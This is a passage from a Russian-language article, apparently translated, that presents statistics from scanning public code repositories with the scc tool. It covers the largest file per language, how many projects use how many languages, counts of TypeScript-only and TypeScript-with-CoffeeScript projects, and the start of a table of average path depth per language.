[mkToplevelBT64.v](https://github.com/t-crest/bluetree/blob/master/mkToplevelBT64.v) | 338 042 | | PHP | [lt.php](https://github.com/easyvyc/easywebmanager/blob/master/site/classes/lib/cool-php-captcha/resources/words/lt.php) | 295 054 | | TypeScript Typings | [dojox.d.ts](https://github.com/vansimke/dojotypedescriptiongenerator/blob/master/DojoTypeDescriptor/Scripts/typings/dojox.d.ts) | 291 002 | | Verilog | [CVP14\_synth.vg](https://github.com/krios262/551project/blob/master/synthVdotP/CVP14_synth.vg) | 264 649 | | Lua | [objects.lua](https://github.com/kinshi/tarkin_scripts/blob/master/scripts/object/mobile/objects.lua) | 205 006 | | V | [TestDataset01-functional.v](https://github.com/bart-group/bart/blob/master/tests/ARTIETests/testfiles/TestDataset01-functional.v) | 201 973 | | Java | [FinalPackage.java](https://github.com/christianharrington/mdd/blob/master/IfcXML/src/org/tech/iai/ifc/xml/ifc/_2x3/final_/FinalPackage.java) | 198 035 | | C++ Header | [test\_cliprdr\_channel\_xfreerdp\_full\_authorisation.hpp](https://github.com/pykoder/redemption/blob/master/tests/includes/fixtures/test_cliprdr_channel_xfreerdp_full_authorisation.hpp) | 196 958 | | Shell | [add\_commitids\_to\_src.sh](https://github.com/jcs/openbsd-commitid/blob/master/out/add_commitids_to_src.sh) | 179 223 | | C# | [ItemId.cs](https://github.com/arventwei/wcell/blob/master/Core/WCell.Constants/Items/ItemId.cs) | 171 944 | | FORTRAN Modern | [slatec.f90](https://github.com/johannesgerer/jburkardt-f/blob/master/slatec/slatec.f90) | 169 817 | | Assembly | [HeavyWeather.asm](https://github.com/dpeddi/ws-28xx-hacking/blob/master/HeavyWeather.asm) | 169 645 | | Module-Definition | [top\_level.final.def](https://github.com/msherman13/e6321_top_half/blob/master/apr/top_level.final.def) | 139 150 | | FORTRAN Legacy | [dlapack.f](https://github.com/wch/r-source/blob/master/src/modules/lapack/dlapack.f) | 110 640 | | VHDL | [cpuTest.vhd](https://github.com/mbarga/archive-cpu/blob/master/mapped/cpuTest.vhd) | 107 882 | | Groovy | [groovy](https://bitbucket.com/nfredricks/vim-files/src/master/tags/groovy) | 98 985 | | IDL | [all-idls.idl](https://github.com/brownplt/strobe/blob/master/data/all-idls.idl) | 91 771 | | Wolfram | [K2KL.nb](https://github.com/gillespie/torsions/blob/master/LinKnots/K2KL.nb) | 90 224 | | Go | [frequencies.go](https://github.com/tsileo/blobstash/blob/master/vendor/gopkg.in/src-d/enry.v1/data/frequencies.go) | 89 661 | | Scheme | [s7test.scm](https://github.com/mojmir-svoboda/dbgtoolkit/blob/master/3rd/s7/s7test.scm) | 88 907 | | D | [coral.jar.d](https://github.com/khanhbui/jpf/blob/master/old_projects/jpf-symbc/.hg/store/data/lib/coral.jar.d) | 80 674 | | Coq | [cycloneiv\_hssi\_atoms.v](https://github.com/amigabill/minimig-de1/blob/master/lib/altera/cycloneiv_hssi_atoms.v) | 74 936 | | Specman e | [sysobjs.e](https://github.com/shihyu/mytool/blob/master/mybin/se/macros/sysobjs.e) | 65 146 | | Puppet | [sqlite3.c.pp](https://github.com/joliebig/crefactor-sqliteevaluation/blob/master/sqlite3.c.pp) | 63 656 | | Wren | [many\_globals.wren](https://github.com/munificent/wren/blob/master/test/limit/many_globals.wren) | 61 388 | | Boo | [sun95.tex](https://github.com/dt888/starlink/blob/master/applications/kappa/sun95.tex) | 57 018 | | Ruby | [bigfile.rb](https://github.com/pburba/demo_app/blob/master/app/models/bigfile.rb) | 50 000 | | Objective C | [job\_sub011.m](https://github.com/jmcarp/fmri-pipe/blob/master/joblog/job_sub011.m) | 44 788 | | CSS | [screener.css](https://github.com/26mansi/raxa-jss/blob/master/src/resources/css/screener.css) | 43 785 | | Swig | [CIDE.I](https://bitbucket.com/abellnets/hrossparser/src/master/xml_files/CIDE.I) | 37 235 | | Fish | [Godsay.fish](https://gitlab.com/mitzip/fish-config/blob/master/functions/Godsay.fish) | 31 103 | | Sass | [sm30\_kernels.sass](https://github.com/wangbiaouestc/clpeak/blob/master/OpsBench/ma-thesis/bench/results/instruction/sm30_kernels.sass) | 30 306 | | CoffeeScript | [tmp.coffee](https://github.com/trshugu/nt/blob/master/tmp.coffee) | 29 088 | | Erlang | [nci\_ft\_ricm\_dul\_SUITE.erl](https://github.com/nussiminen/git_nussia/blob/master/nci_ft_ricm_dul_SUITE.erl) | 28 306 | | Lisp | [km\_2-5-33.lisp](https://github.com/mbcode/kmb/blob/master/km_2-5-33.lisp) | 27 579 | | YAML | [ciudades.yml](https://github.com/mariouriarte/anbeed/blob/master/data/fixtures/ciudades.yml) | 27 168 | | R | [PhyloSimSource.R](https://github.com/cran/phylosim/blob/master/R/PhyloSimSource.R) | 26 023 | | Scala | [GeneratedRedeclTests.scala](https://github.com/ajanker/typechef/blob/master/CTypeChecker/src/test/scala/de/fosd/typechef/typesystem/generated/GeneratedRedeclTests.scala) | 24 647 | | Emacs Lisp | [pjb-java.el](https://gitlab.com/com-informatimago/emacs/blob/master/pjb-java.el) | 24 375 | | Haskell | [Dipole80.hs](https://github.com/weltensegler/zeno/blob/master/src/Calculus/Dipole80.hs) | 24 245 | | ATS | [test06.dats](https://github.com/ashalkhakov/ats-postiats/blob/master/npm-utils/contrib/libats-/hwxi/Andes/TEST/test06.dats) | 24 179 | | m4 | [ax.m4](https://github.com/tjgiese/atizer/blob/master/python/atizer/m4/m4/ax.m4) | 22 675 | | ActionScript | [\_\_2E\_str95.as](https://github.com/oyhc/simonynx/blob/master/hero/src/cmodule/ALCSWF/__2E_str95.as) | 21 173 | | Objective C++ | [edges-new.mm](https://github.com/antonbikineev/clang/blob/master/test/Analysis/edges-new.mm) | 20 789 | | Visual Basic | [clsProjections.vb](https://github.com/celinak/directobservationtoolsforwindows/blob/master/MapWindow/Classes/Projections/clsProjections.vb) | 20 641 | | TCL | [68030\_TK.tcl](https://github.com/mheinrichs/68030tk/blob/master/Logic/68030_TK.tcl) | 20 616 | | Nix | [nix](https://github.com/matthewbauer/matthewbauerhubio/blob/master/nix) | 19 605 | | Perl | [LF\_aligner\_3.12\_with\_modules.pl](https://github.com/imazen/repositext/blob/master/vendor/lf_aligner_3.12/scripts/LF_aligner_3.12_with_modules.pl) | 18 013 | | Ada | [amf-internals-tables-uml\_metamodel-objects.adb](https://github.com/landgraf/matreshka/blob/master/source/amf/uml/amf-internals-tables-uml_metamodel-objects.adb) | 14 535 | | Batch | [MAS\_0.6\_en.cmd](https://github.com/asfuyao/asfuyao/blob/master/Windows/%E5%BE%AE%E8%BD%AF%E4%BA%A7%E5%93%81%E6%BF%80%E6%B4%BB/Microsoft%20Activation%20Script%20_0.6_%E4%B8%AD%E8%8B%B1%E5%8F%8C%E8%AF%AD/MAS_0.6_en.cmd) | 14 402 | | OCaml | [code\_new.ml](https://github.com/camlspotter/ocamlpro-ocaml-branch/blob/master/examples/00036_mandelbrot/code_new.ml) | 13 648 | | LaTeX | [pm3dcolors.tex](https://github.com/gnuplot/tex_demos/blob/master/demo/output/context/pm3dcolors.tex) | 13 092 | | Properties File | [messages\_ar\_SA.properties](https://github.com/open-wide/owsi-nuxeo-translations-explorer/blob/master/l10n/5.6/messages_ar_SA.properties) | 13 074 | | MSBuild | [ncrypto.csproj](https://github.com/muraad/bc-csharp/blob/master/crypto/ncrypto.csproj) | 11 302 | | ASP.NET | [GallerySettings.ascx](https://github.com/fran9rodriguez/socios/blob/master/SocIoS%20Front%20End/SociosFrontEnd/DesktopModules/EasyDNNGallery/GallerySettings.ascx) | 10 969 | | Powershell | [mail\_imap.ps1](https://github.com/uti7/foo/blob/master/mail_imap.ps1) | 10 798 | | Standard ML (SML) | [TCP1\_hostLTSScript.sml](https://github.com/petersewell/netsem/blob/master/unmaintained/Net/TCP/Spec2/TCP1_hostLTSScript.sml) | 10 790 | | Dart | [html\_dart2js.dart](https://github.com/nkratzke/nkratzkehubio/blob/master/assets/ss2018/webtech/games/team-4g/packages/%24sdk/lib/html/dart2js/html_dart2js.dart) | 10 547 | | AutoHotKey | [studio.ahk](https://github.com/dajunx/cplusplus/blob/master/ahk_script/others/studio.ahk) | 10 391 | | Expect | [Navigator.exp](https://github.com/vicamo/b2g_mozilla-central/blob/master/cmd/macfe/projects/client/Navigator.exp) | 10 063 | | Julia | [PETScRealSingle.jl](https://github.com/stevengj/petscjl/blob/master/src/generated/PETScRealSingle.jl) | 9417 | | Makefile | [Makefile](https://github.com/objeck/objeck-lang/blob/master/misc/wxWidgets/stc/lexer/Makefile) | 9204 | | Forth | [europarl.lowercased.fr](https://github.com/mar-one/machine-trans-shared-task/blob/master/data/corpus/europarl.lowercased.fr) | 9107 | | ColdFusion | [js.cfm](https://github.com/phillipsenn/matrix/blob/master/js/js.cfm) | 8786 | | TeX | [hyperref.sty](https://github.com/delcmo/dissertation/blob/master/hyperref.sty) | 8591 | | Opalang | [i18n\_language.opa](https://github.com/ajbetteridge/opalang/blob/master/lib/stdlib/core/i18n/i18n_language.opa) | 7860 | | LESS | [\_variables.less](https://github.com/2jdesign/magento2/blob/master/lib/web/css/docs/source/_variables.less) | 7394 | | Swift | [CodeSystems.swift](https://github.com/smart-on-fhir/swift-fhir/blob/master/Sources/Models/CodeSystems.swift) | 6847 | | Bazel | [gcc-mingw-w64\_12\_amd64-20140427-2100.build](https://github.com/nonas/debian-clang/blob/master/tests/build_timeout/buildlogs/run1/gcc-mingw-w64_12_amd64-20140427-2100.build) | 6429 | | Kotlin | [\_Arrays.kt](https://github.com/jetbrains/kotlin/blob/master/libraries/stdlib/common/src/generated/_Arrays.kt) | 5887 | | SAS | [202\_002\_Stream\_DQ\_DRVT.sas](https://github.com/ikonovalov/sas-bug/blob/master/sas-checkstyle/src/main/resources/202_002_Stream_DQ_DRVT.sas) | 5597 | | Haxe | [CachedRowSetImpl.hx](https://github.com/waneck/hx-javastd/blob/master/src/com/sun/rowset/CachedRowSetImpl.hx) | 5438 | | Rust | [lrgrammar.rs](https://github.com/autonome/gecko-dev/blob/master/third_party/rust/lalrpop-snap/src/parser/lrgrammar.rs) | 5150 | | Monkey C | [mc](https://github.com/nasahackto/mesh/blob/master/mesh-1.4/mesh/perl/mc) | 5044 | | Cython | [pcl\_common\_172.pxd](https://github.com/strawlab/python-pcl/blob/master/pcl/pcl_common_172.pxd) | 5030 | | Nim | [disas.nim](https://github.com/comex/imaon/blob/master/disas.nim) | 4547 | | Game Maker Language | [gm\_spineapi.gml](https://github.com/ecriss/gmspineapi/blob/master/gm_spineapi.gml) | 4345 | | ABAP | [ZACO19U\_SHOP\_NEW\_1.abap](https://github.com/yetaai/sap/blob/master/ZDFIReports/ZACO19U_SHOP_NEW_1.abap) | 4244 | | XAML | [Raumplan.xaml](https://github.com/pittruff/mystik/blob/master/MyStik/RaumPlan/Raumplan.xaml) | 4193 | | Razor | [Privacy.cshtml](https://github.com/jonezy/epilogger/blob/master/Epilogger.Web/Views/Home/Privacy.cshtml) | 4092 | | Varnish Configuration | [46\_slr\_et\_rfi\_attacks.vcl](https://github.com/aureq/securityvcl/blob/master/vcl/breach/46_slr_et_rfi_attacks.vcl) | 3924 | | Basic | [MSA\_version116\_4q.bas](https://github.com/hpux735/spectrum-analyzer/blob/master/Spectrum%20Analyzer/MSA_version116_4q.bas) | 3892 | | Isabelle | [Pick.thy](https://github.com/tangentstorm/tangentlabs/blob/master/isar/Pick.thy) | 3690 | | Protocol Buffers | [metrics\_constants.proto](https://github.com/nospamdan/frameworks_base/blob/master/proto/src/metrics_constants.proto) | 3682 | | BASH | [bashrc](https://github.com/c0moshack/c0moshack/blob/master/dotfiles/bashrc) | 3606 | | Clojure | [all-playlists-output.clj](https://github.com/dedeibel/dilist/blob/master/experiment/all-playlists-output.clj) | 3440 | | F# | [GenericMatrixDoc.fs](https://github.com/chrisa23/fmat/blob/master/src/Fmat.Numerics/GenericMatrixDoc.fs) | 3383 | | Thrift | [NoteStore.thrift](https://github.com/evernote/evernote-thrift/blob/master/src/NoteStore.thrift) | 3377 | | COBOL | [db2ApiDf.cbl](https://github.com/therocket/mixanalytics/blob/master/lib/db2include/cobol_mf/db2ApiDf.cbl) | 3319 | | JavaServer Pages | [sink\_jq.jsp](https://github.com/builtlean/builtlean/blob/master/styles/sink_jq.jsp) | 3204 | | Modula3 | [gdb.i3](https://github.com/jeffmendoza/86duino/blob/master/build/linux/work/DJGPP/info/gdb.i3) | 3124 | | Visual Basic for Applications | [HL7xmlBuilder.cls](https://bitbucket.com/ckuyehar/openahlta/src/master/Source/Data%20Manager/Back%20End/HL7xmlBuilder.cls) | 2987 | | Oz | [timing.oz](https://github.com/raphinou/oz-compiler/blob/master/perfs/timing.oz) | 2946 | | Closure Template | [buckconfig.soy](https://github.com/facebook/buck/blob/master/docs/files-and-dirs/buckconfig.soy) | 2915 | | Agda | [Pifextra.agda](https://github.com/zsparks/pi-dual/blob/master/Univalence/Obsolete/Pifextra.agda) | 2892 | | Stata | [R2\_2cleaningprocess.do](https://github.com/ibli/ibli_borena_hh_survey/blob/master/R2_2cleaningprocess.do) | 2660 | | ColdFusion CFScript | [Intake.cfc](https://github.com/mfgglobalsolutions/collectmed/blob/master/collectmed1.0/CustomTags/com/common/Intake.cfc) | 2578 | | Luna | [Base.luna](https://github.com/luna/luna/blob/master/stdlib/Std/src/Base.luna) | 2542 | | Unreal Script | [UIRoot.uc](https://github.com/arcaneflux/hostile-worlds/blob/master/src/Hostile%20Worlds/Development/Src/Engine/Classes/UIRoot.uc) | 2449 | | CMake | [cmake](https://github.com/ipfire/ipfire-2x/blob/master/config/rootfiles/oldcore/66/filelists/cmake) | 2425 | | Org | [lens-wsn.org](https://github.com/willijar/lens/blob/master/doc/lens-wsn.org) | 2417 | | Flow9 | [index.js.flow](https://github.com/hitode909/higashi-dance-network/blob/master/flow-typed/jquery/index.js.flow) | 2361 | | MQL Header | [IncGUI.mqh](https://github.com/ro31337/romanpushkin-dailygrid/blob/master/IncGUI.mqh) | 2352 | | JSX | [ContactSheetII.jsx](https://github.com/lezuse/photoshop-scripts/blob/master/default/ContactSheetII.jsx) | 2243 | | MQL4 | [PhD Appsolute System.mq4](https://github.com/lvcster/java-examples/blob/master/PhD%20Appsolute%20System.mq4) | 2061 | | Ruby HTML | [FinalOral-Old.Rhtml](https://github.com/srvanderplas/dissertation/blob/master/Presentations/Final%20Oral/FinalOral-Old.Rhtml) | 2061 | | GDScript | [group.gd](https://github.com/laurentbartholdi/fr/blob/master/gap/group.gd) | 2023 | | Processing | [testcode.pde](https://github.com/alexisgrinbold/pjs-2d-game-engine/blob/master/mario/testcode.pde) | 2014 | | PSL Assertion | [2016-08-16.psl](https://github.com/seomoz/url-py/blob/master/url/psl/2016-08-16.psl) | 2011 | | ASP | [c\_system\_plugin.asp](https://github.com/zhou-hui/zblog/blob/master/Release/zb_system/FUNCTION/c_system_plugin.asp) | 1878 | | AWK | [dic-generator.awk](https://github.com/azizyemloul/plover-france-dict/blob/master/Atelier/dic-generator.awk) | 1732 | | Jinja | [php.ini.j2](https://github.com/dfederlein/ansible-aiua/blob/master/playbooks/roles/php5/templates/etc/php5/fpm/php.ini.j2) | 1668 | | Zsh | [.zshrc](https://github.com/saizai/dotfiles/blob/master/.zshrc) | 1588 | | Q# | [in\_navegador.qs](https://github.com/siagal/eneboo-modules/blob/master/direccion/analisis/scripts/in_navegador.qs) | 1568 | | sed | [Makefile.sed](https://github.com/alexjordan/patmos-benchmarks/blob/master/MiBench/office/ghostscript/src/Makefile.sed) | 1554 | | Stylus | [popup.styl](https://github.com/leiferikb/bitpop-private/blob/master/bitpop_specific/extensions/bittorrent_surf/app/popup/popup.styl) | 1550 | | Bitbake | [Doxyfile.bb](https://github.com/sasha-tvo/beam-splitting/blob/master/Lib/Doxyfile.bb) | 1533 | | Rakefile | [samples.rake](https://github.com/ccls/odms/blob/master/lib/tasks/samples.rake) | 1509 | | Gherkin Specification | [WorkflowExecution.feature](https://bitbucket.com/hagashennaidu/warewolf-esb/src/master/Dev/Dev2.Activities.Specs/Composition/WorkflowExecution.feature) | 1421 | | Crystal | [string.cr](https://github.com/manastech/crystal/blob/master/src/string.cr) | 1412 | | Android Interface Definition Language | [ITelephony.aidl](https://github.com/android/platform_frameworks_base/blob/master/telephony/java/com/android/internal/telephony/ITelephony.aidl) | 1410 | | Xtend | [Properties.xtend](https://github.com/skunkiferous/meta/blob/master/api/src/main/java/com/blockwithme/meta/Properties.xtend) | 1363 | | SKILL | [DT\_destub.il](https://github.com/saycv/saycv_cadence_skillmngt/blob/master/_src/destub/src/DT_destub.il) | 1181 | | Madlang | [.config.mad](https://github.com/madrocker/kernels/blob/master/15March/.config.mad) | 1137 | | Spice Netlist | [APEXLINEAR.ckt](https://github.com/gauxonz/prp_2013/blob/master/Lib/APEXLINEAR.ckt) | 1114 | | QML | [MainFULL.qml](https://bitbucket.com/patrickfi/combinedindirectgestures/src/master/qml/MainFULL.qml) | 1078 | | GLSL | [subPlanetNoise.frag](https://github.com/carlos-felipe88/spacecraft/blob/master/data/shader/subPlanetNoise.frag) | 1051 | | Ur/Web | [initial.ur](https://github.com/vagoff/the-matrix/blob/master/initial.ur) | 1018 | | Alloy | [TransactionFeatureFinal.als](https://github.com/davletd/productlinetesting/blob/master/ProductLineTesting/AlloyModels/TransactionFeatureFinal.als) | 1012 | | Vala | [puzzle-piece.vala](https://github.com/kamilprusko/puzzle/blob/master/src/puzzle-piece.vala) | 968 | | Smarty Template | [Ensau.tpl](https://github.com/poganini/ee/blob/master/themes/Ensau.tpl) | 965 | | Mako | [jobs.mako](https://github.com/andrewsallans/centerforopenscienceorg/blob/master/www/jobs.mako) | 950 | | TOML | [traefik.toml](https://github.com/chuqingq/codeeveryday/blob/master/golang/20170420_go_reverseproxy_traefik/traefik.toml) | 938 | | gitignore | [.gitignore](https://github.com/michalsc/aros/blob/master/.gitignore) | 880 | | Elixir | [macros.ex](https://github.com/alexbaranosky/elixir/blob/master/lib/elixir/macros.ex) | 832 | | GN | [rules.gni](https://github.com/autonome/gecko-dev/blob/master/media/webrtc/trunk/build/config/android/rules.gni) | 827 | | Korn Shell | [lx\_distro\_install.ksh](https://github.com/filipinotech/illumos-gate/blob/master/usr/src/lib/brand/lx/zone/lx_distro_install.ksh) | 807 | | LD Script | [vmlinux.lds](https://bitbucket.com/imoseyon/d2vzw-alpha/src/master/arch/arm/kernel/vmlinux.lds) | 727 | | Scons | [SConstruct](https://github.com/ajdavis/mongo/blob/master/SConstruct) | 716 | | Handlebars | [Consent-Form.handlebars](https://github.com/palanieswaran/cs247projectwebsite/blob/master/views/Consent-Form.handlebars) | 714 | | Device Tree | [ddr4-common.dtsi](https://github.com/coreboot/coreboot/blob/master/src/mainboard/cavium/cn8100_sff_evb/ddr4-common.dtsi) | 695 | | FIDL | [amb.in.fidl](https://github.com/otcshare/automotive-message-broker/blob/master/docs/amb.in.fidl) | 686 | | Julius | [glMatrix.julius](https://github.com/sseefried/play-space-online/blob/master/julius/glMatrix.julius) | 686 | | C Shell | [setup\_grid.csh](https://github.com/pmaksim1/bin/blob/master/setup_grid.csh) | 645 | | Lean | [perm.lean](https://bitbucket.com/leanprover/lean/src/master/library/data/list/perm.lean) | 642 | | Idris | [Overview.idr](https://github.com/eckart/idris-tutorial/blob/master/Overview.idr) | 637 | | PureScript | [Array.purs](https://github.com/purescript/purescript-arrays/blob/master/src/Data/Array.purs) | 631 | | Freemarker Template | [result\_softwares.ftl](https://github.com/oscar810429/painiu-project/blob/master/web/WEB-INF/templates/search/result_softwares.ftl) | 573 | | ClojureScript | [lt-cljs-tutorial.cljs](https://github.com/dwaynekj/lt-cljs-tutorial/blob/master/lt-cljs-tutorial.cljs) | 518 | | Fragment Shader File | [bulb.fsh](https://github.com/imclab/aluminum/blob/master/osx/examples/nautilus/resources/bulb.fsh) | 464 | | Elm | [Attributes.elm](https://github.com/catherinemoresco/catherinemorescohubio/blob/master/static/fourier-elm/elm-stuff/packages/evancz/elm-html/4.0.2/src/Html/Attributes.elm) | 434 | | Jade | [index.jade](https://github.com/benbaker/zooid/blob/master/zooid_web/views/control/index.jade) | 432 | | Vue | [form.vue](https://github.com/iview/iview/blob/master/examples/routers/form.vue) | 418 | | Gradle | [build.gradle](https://github.com/wso2/emm-agent-android/blob/master/client/client/build.gradle) | 416 | | Lucius | [bootstrap.lucius](https://github.com/dsmatter/timetracker/blob/master/templates/bootstrap.lucius) | 404 | | Go Template | [fast-path.go.tmpl](https://github.com/disposaboy/margo/blob/master/vendor/github.com/ugorji/go/codec/fast-path.go.tmpl) | 400 | | Meson | [meson.build](https://github.com/tieto/pidgin/blob/master/meson.build) | 306 | | F\* | [Crypto.Symmetric.Poly1305.Bignum.Lemmas.Part1.fst](https://github.com/fstarlang/fstar/blob/master/examples/low-level/crypto/Crypto.Symmetric.Poly1305.Bignum.Lemmas.Part1.fst) | 289 | | Ceylon | [IdeaCeylonParser.ceylon](https://github.com/ceylon/ceylon-ide-intellij/blob/master/source/org/eclipse/ceylon/ide/intellij/psi/IdeaCeylonParser.ceylon) | 286 | | MQL5 | [ZigzagPattern\_oldest.mq5](https://github.com/dennislwm/mlea/blob/master/MQL5/Experts/Zigzag/ZigzagPattern_oldest.mq5) | 282 | | XCode Config | [Project-Shared.xcconfig](https://github.com/krzyzanowskim/cryptoswift/blob/master/config/Project-Shared.xcconfig) | 265 | | Futhark | [blackscholes.fut](https://github.com/hiperfit/futhark/blob/master/tests/blackscholes.fut) | 257 | | Pony | [scenery.pony](https://bitbucket.com/thecomet/ponycraft-prototype/src/master/scripts/maps/demomap/scenery.pony) | 252 | | Vertex Shader File | [CC3TexturableRigidBones.vsh](https://bitbucket.com/arif_uap/flipmymob-social-madness-iphone/src/master/FlipMobiPhone/cocos3d/GLSL/CC3TexturableRigidBones.vsh) | 205 | | Softbridge Basic | [greek.sbl](https://github.com/snowballstem/snowball/blob/master/algorithms/greek.sbl) | 192 | | Cabal | [deeplearning.cabal](https://github.com/tener/deeplearning-thesis/blob/master/deeplearning.cabal) | 180 | | nuspec | [Xamarin.Auth.XamarinForms.nuspec](https://github.com/prashantvc/xamarinauth/blob/master/nuget/Xamarin.Auth.XamarinForms.nuspec) | 156 | | Dockerfile | [Dockerfile](https://github.com/snewhouse/ngs/blob/master/containerized/pipeline/Dockerfile) | 152 | | Mustache | [models\_list.mustache](https://bitbucket.com/moodle/moodle/src/master/admin/tool/analytics/templates/models_list.mustache) | 141 | | LOLCODE | [LOLTracer.lol](https://bitbucket.com/animeshsinha/linguist-github/src/master/samples/LOLCODE/LOLTracer.lol) | 139 | | BuildStream | [astrobib.bst](https://github.com/npadmana/npadmana_config/blob/master/texmf/bibtex/bst/mybst/astrobib.bst) | 120 | | Janet | [Janet](https://github.com/bianary/moosehead/blob/master/player/Janet) | 101 | | Cassius | [xweek.cassius](https://github.com/trevorssmith1392/yuplanner/blob/master/templates/xweek.cassius) | 94 | | Docker ignore | [.dockerignore](https://github.com/ahbeng/nusmods/blob/master/.dockerignore) | 92 | | Hamlet | [upload.hamlet](https://github.com/raphaelj/getwebborg/blob/master/templates/upload.hamlet) | 90 | | QCL | [mod.qcl](https://github.com/unixpickle/quantumprogramming/blob/master/mylib2/mod.qcl) | 88 | | Dhall | [nix.bash.dhall](https://github.com/trskop/command-wrapper/blob/master/dhall/Exec/completion/nix.bash.dhall) | 86 | | ignore | [.ignore](https://github.com/wy8023b/ka7ku/blob/master/.ignore) | 60 | | Just | [Justfile](https://github.com/sporto/kic/blob/master/api/graphql/Justfile) | 46 | | SRecode Template | [srecode-test.srt](https://bitbucket.com/andrewjchen/dotfiles/src/master/emacs.d/plugins/cedet/srecode/templates/srecode-test.srt) | 35 | | Bitbucket Pipeline | [bitbucket-pipelines.yml](https://bitbucket.com/c2tarun/integrated-genome-browser/src/master/bitbucket-pipelines.yml) | 30 | | Ur/Web Project | [reader.urp](https://github.com/huluwa/bazqux-urweb/blob/master/reader.urp) | 22 | | Alchemist | [ctrl.crn](https://github.com/bakhtatou/ecalj/blob/master/lm7K/fp/test/ctrl.crn) | 16 | | Zig | [main.zig](https://github.com/aurametrix/aurametrixhubio/blob/master/Games/Tetris-zig/src/main.zig) | 12 | | MUMPS | [mps](https://github.com/milindparikh/mps/blob/master/rel/files/mps) | 11 | | Bosque | [bosque.bsq](https://github.com/boyter/scc/blob/master/bosque.bsq) | 8 | | Report Definition Language | [example.rdl](https://github.com/jayaddison/autochef/blob/master/idx/rdl/example.rdl) | 4 | | Emacs Dev Env | [Project.ede](https://bitbucket.com/hoangtu/my-emacs-prelude/src/master/cedet/lisp/cedet/Project.ede) | 3 | | Cargo Lock | [Cargo.lock](https://bitbucket.com/dorianpula/rookeries/src/master/Cargo.lock) | 2 | | JAI | [thekla\_atlas.jai](https://github.com/thekla/thekla_atlas/blob/master/src/thekla/thekla_atlas.jai) | 1 | Сколько «чистых» проектов ========================= Под «чистыми» имеются в виды проекты чисто на одном языке. Конечно, это не очень интересно само по себе, поэтому посмотрим на них в контексте. Как оказалось, у подавляющего большинства проектов менее 25 языков, а у большинства менее десяти. Пик на графике внизу приходится на четыре языка. Разумеется, в чистых проектах может быть только один язык программирования, но есть поддержка других форматов, таких как markdown, json, yml, css, .gitignore, которые учитывает `scc`. Наверное, разумно предположить, что любой проект с менее чем пятью языками, является «чистым» (для некоторого уровня чистоты), и это чуть более половины общего датасета. Конечно, ваше определение чистоты может отличаться от моего, поэтому можете ориентироваться на любое число, которое вам нравится. Что меня удивляет, так это странный всплеск вокруг 34-35 языков. У меня нет разумного объяснения, откуда он взялся, и это, вероятно, достойно отдельного расследования. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/de1/d81/677/de1d81677327396cea3fd6cf53f69cb8.png) **Полный список** | Число языков | Число проектов | | --- | --- | | 1 | 886 559 | | 2 | 951 009 | | 3 | 989 025 | | 4 | 1 070 987 | | 5 | 1 012 686 | | 6 | 845 898 | | 7 | 655 510 | | 8 | 542 625 | | 9 | 446 278 | | 10 | 392 212 | | 11 | 295 810 | | 12 | 204 291 | | 13 | 139 021 | | 14 | 110 204 | | 15 | 87 143 | | 16 | 67 602 | | 17 | 61 936 | | 18 | 44 874 | | 19 | 34 740 | | 20 | 32 041 | | 21 | 25 416 | | 22 | 24 986 | | 23 | 23 634 | | 24 | 16 614 | | 25 | 13 823 | | 26 | 10 998 | | 27 | 9 973 | | 28 | 6 807 | | 29 | 7 929 | | 30 | 6 223 | | 31 | 5 602 | | 32 | 6 614 | | 33 | 12 155 | | 34 | 15 375 | | 35 | 7329 | | 36 | 6227 | | 37 | 4158 | | 38 | 3744 | | 39 | 3844 | | 40 | 1570 | | 41 | 1041 | | 42 | 746 | | 43 | 1037 | | 44 | 1363 | | 45 | 934 | | 46 | 545 | | 47 | 503 | | 48 | 439 | | 49 | 393 | | 50 | 662 | | 51 | 436 | | 52 | 863 | | 53 | 393 | | 54 | 684 | | 55 | 372 | | 56 | 366 | | 57 | 842 | | 58 | 398 | | 59 | 206 | | 60 | 208 | | 61 | 177 | | 62 | 377 | | 63 | 450 | | 64 | 341 | | 65 | 86 | | 66 | 78 | | 67 | 191 | | 68 | 280 | | 69 | 61 | | 70 | 209 | | 71 | 330 | | 72 | 171 | | 73 | 190 | | 74 | 142 | | 75 | 102 | | 76 | 32 | | 77 | 57 | | 78 | 50 | | 79 | 26 | | 80 | 31 | | 81 | 63 | | 82 | 38 | | 83 | 26 | | 84 | 72 | | 85 | 205 | | 86 | 73 | | 87 | 67 | | 88 | 21 | | 89 | 15 | | 90 | 6 | | 91 | 12 | | 92 | 10 | | 93 | 8 | | 94 | 16 | | 95 | 24 | | 96 | 7 | | 97 | 30 | | 98 | 4 | | 99 | 1 | | 100 | 6 | | 101 | 7 | | 102 | 16 | | 103 | 1 | | 104 | 5 | | 105 | 1 | | 106 | 19 | | 108 | 2 | | 109 | 2 | | 110 | 1 | | 111 | 3 | | 112 | 1 | | 113 | 1 | | 114 | 3 | | 115 | 5 | | 116 | 5 | | 118 | 1 | | 120 | 5 | | 124 | 1 | | 125 | 1 | | 131 | 2 | | 132 | 1 | | 134 | 2 | | 136 | 1 | | 137 | 1 | | 138 | 1 | | 142 | 1 | | 143 | 2 | | 144 | 1 | | 158 | 1 | | 159 | 2 | Проекты с TypeScript, но не JavaScript ====================================== Ах, современный мир TypeScript. Но для проектов TypeScript, сколько из них чисто на этом языке? | Чистые проекты TypeScript | | --- | | 27 026 проектов | Должен признаться, я немного удивлён этим числом. Хотя я понимаю, что смешивание JavaScript с TypeScript довольно распространено, я бы подумал, что будет больше проектов на новомодном языке. Но вполне возможно, что более свежий набор репозиториев резко увеличит их число. Кто-нибудь использует CoffeeScript и TypeScript? ================================================ | Использование TypeScript и CoffeeScript | | --- | | 7849 проектов | У меня такое чувство, что некоторых разработчиков TypeScript тошнит при одной мысли об этом. Если это им поможет, то могу предположить, что большинство этих проектов — программы вроде `scc` с примерами всех языков для целей тестирования. Какова типичная длина пути в каждом языке ========================================= Учитывая, что вы можете либо выгрузить все нужные файлы в один каталог, либо составить систему каталогов, какова типичная длина пути и количество каталогов? Для этого подсчитываем количество слэшей в пути для каждого файла и усредняем. Я не знал, чего ожидать здесь, кроме того, что Java может быть вверху списка, поскольку там обычно длинные пути к файлам. **Полный список** | Язык | Средняя длина пути | | --- | --- | | ABAP | 4,406555175781266 | | ASP | 6,372800350189209 | | ASP,NET | 7,25 | | ATS | 4,000007286696899 | | AWK | 4,951896171638623 | | ActionScript | 8,139775436837226 | | Ada | 4,00042700953189 | | Agda | 3,9126438455441743 | | Alchemist | 3,507827758789091 | | Alex | 5,000001311300139 | | Alloy | 5,000488222547574 | | Android Interface Definition Language | 11,0048217363656 | | Arvo | 5,9999994741776135 | | AsciiDoc | 3,5 